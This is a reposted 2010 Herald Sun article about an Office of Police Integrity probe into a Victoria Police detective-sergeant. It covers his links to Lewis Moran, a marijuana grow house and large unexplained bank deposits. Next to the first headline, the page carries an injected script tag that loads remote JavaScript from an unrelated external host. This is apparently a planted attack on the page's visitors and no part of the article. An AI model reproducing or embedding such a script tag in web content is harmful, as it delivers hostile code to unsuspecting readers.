NEWS > 17 February 2010

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Victoria Police, Australia<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>

Herald Sun
17 February 2010

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Victoria Police, Australia

Office of Police Integrity set

THE police corruption watchdog is set to probe a serving detective-sergeant over his ownership of a house used to grow marijuana and his links to murdered gangland patriarch Lewis Moran.
Office of Police Integrity investigators are expected to examine the detective's ownership of at least six houses, including one in country Victoria that was used to grow a sophisticated hydroponic crop of marijuana.

A check on his bank records showed he had eight transactions, each of more than $10,000, in a three-month period in 2001 at a time he was seen by undercover police having secret meetings with Lewis Moran.

The Herald Sun yesterday revealed the officer is already being investigated by the OPI for allegedly helping to organise an armed raid that netted cigarettes worth $4 million.

There have been several Victoria Police investigations into the allegedly corrupt detective, including by the Ethical Standards Department, but he has not faced criminal charges and is still in the force at a suburban station.

Some of those earlier probes have since been criticised by senior police as not being as thorough as they should have been, including an ESD investigation into the drug house.

Former Victoria Police Det-Sgt Denis Tanner first alerted his superiors to the possibility of the house being used to grow marijuana.

Lack of action over the drug house, despite local police secretly entering it on July 14, 1996, and discovering a marijuana crop growing with a hydroponic system under lights, prompted Mr Tanner to make repeated complaints to his superiors.

In 1996, ESD members were tasked to investigate the allegations emanating from Det-Sgt Tanner. It is that probe, and others conducted into other allegations against the serving officer, that are about to be reviewed.

Undercover police saw the target of the new OPI probe meeting drug gang boss Lewis Moran in October 2001, and he was bugged talking to Moran a month later.

A detective inspector submitted a report on the detective-sergeant in November 2002, saying the officer had not recorded his contacts with Moran in his diary.

Lewis Moran, his son Jason and stepson Mark were all murdered during Melbourne's gangland war.

'I hear you're chasing me'

A SECRETLY recorded phone call revealed the detective-sergeant rang underworld heavy Lewis Moran on November 13, 2001.

Det-Sgt: "I hear you've been chasing me."

Moran: "Not chasing you, but looking for you."

Det-Sgt: "I'm in Moonee Ponds, but I can go anywhere."

The pair arranged to meet that day in Moonee Ponds.

The officer received eight separate payments, each of more than $10,000, into his bank account about that time.

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Article sourced from

Herald Sun17 February 2010

Office of Police Integrity set

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Herald Sun
17 February 2010